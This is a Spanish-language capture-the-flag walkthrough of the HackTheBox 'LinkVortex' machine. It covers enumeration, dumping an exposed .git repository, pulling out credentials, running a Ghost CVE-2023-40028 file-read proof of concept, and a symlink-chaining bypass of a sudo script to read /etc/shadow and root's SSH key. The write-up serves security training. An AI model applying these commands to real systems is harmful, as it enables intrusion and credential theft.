Enumeracion
Empezamos haciendo un escaneo de puertos con nmap
sudo nmap -p- -open -sS -Pn -n --min-rate 5000 -oN allPorts 10.10.11.47
sudo nmap -p22,80 -sVC -Pn -n --min-rate 5000 -oN Targeted 10.10.11.47
Analizando la web vemos a simple vista no podemos hacer nada, pero despues de analizar la web con whatweb vemos que hace uso de ghost
whatweb http://linkvortex.htb/
Haciendo una busqueda vemos que esta version de ghosts
tiene algunas vulnerabilidades, tembien vemos que suele tener un directorio con un panel de login (y asi es):
En este punto y despues de probar multiples ataques vemos que nada da resultado, asi que seguimos enumerando y vemos que el servidor tiene vitual hosting
gobuster vhost --url http://linkvortex.htb/ -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -t 20 --append-domain | grep -v "301"
Ahora que tenemos un nuevo recurso vamos a hacer otro analisis de directorios, y resulta que hay un .git
Explotación
Para trabajar cómodamente vamos a volcar este repositorio en nuestro equipo haciendo uso de git_dumper.py
git-dumper http://dev.linkvortex.htb/.git/ ./linkvortex
ahora vamos a hacer uso de la herramienta git para analizar el repositior (empezando por los commits), pero no vemos gran cosa, ahora vamos a buscar por algun archivo de authentication y hemos contrado unos cuantos, pero entre ellos hay uno con claves
find . -iname '*authentication*'
cat ./ghost/core/test/regression/api/admin/authentication.test.js | grep
nos volvemos a la ventana de login y ahora que tenemos unas contraseñas vamos a buscar por usuarios (analizando la web nos damos cuenta que los post estan subidos por un usuario llamado
admin
) tenemos los siguientes credenciales
admin@linkvortex.htb:OctopiFociPilfer45
Una vez dentro, cuando hize la busqueda de exploit vi que el servicio de ghost en esta version tenia un Arbitrary File read
pero necesitaba de credenciales Link, el POC necesita una modificacion en el código
ya podemos hacer uso del POC vamos a probarlo
./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
despues de estar dandole vueltas descubri que el repositorio que hemos clonado antes tiene un archivo
Dockerfile.ghost
el cual despues de analizalo veo que copia un archivo del equipo a otra localizacion
tenemos credecianles
vamos a ver si son validas para ssh (
bob@linkvortex.htb:fibber-talented-worth
)
ssh bob@10.10.11.47
Escalada de privilegios
Despues de enumerar posibles vias vemos que podemos ejecutar este comando con permisos de sudo sin necesidad de introducir password
despues de analizar detenidamente el script resulta quelo que hace es comprobar la seguridad de un archivo terminado en
.png
usando el binario test
en caso de ser muy peligroso lo elimina y en caso de ser sospechoso lo mueve a quarentena
, el script solo funciona con archivo que son anlaces simbolicos a otros archivos
echo 'Pero que jiji por tu parte' > jiji
ln -s ~/jiji malicioso.png
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh malicioso.png
y aqui esta movido el archivo
el problema viene cuando un archivo lo elimina directamente que suele sercuando se trata de un archivo que no hemos creadonosotros o esta en ruta sospechochas
una de las forma de hacer bypass es usando un enlace simbolico intermediario por ejemplo supongamos que queremos hacer referencia a
/etc/shadow
, esto daria error ya que usando la palabra etc
pero si usamos un enlace simbolico
ln -s /etc /tmp/safe_directory
ln -s /tmp/safe_directory/shadow bypass.png
y ahora ejecutamos el programa
ya tenemos el hash de root, hay otra forma de ser root y es usando su clave rsa usando la misma filosofia
ln -s /root /tmp/pwn
ln -s /tmp/pwn/.ssh/id_rsa ssh.png
CHECK_CONTENT=true sudo /usr/bin/bash /opt/ghost/clean_symlink.sh ssh.png
ahora nos pasamos la clave a nuestro equipo y la usamos para conectarnos (los permisos del archivo deben ser 600 o 400)
chmod 600 root_id_rsa
ssh -i ./root_id_rsa root@10.10.11.47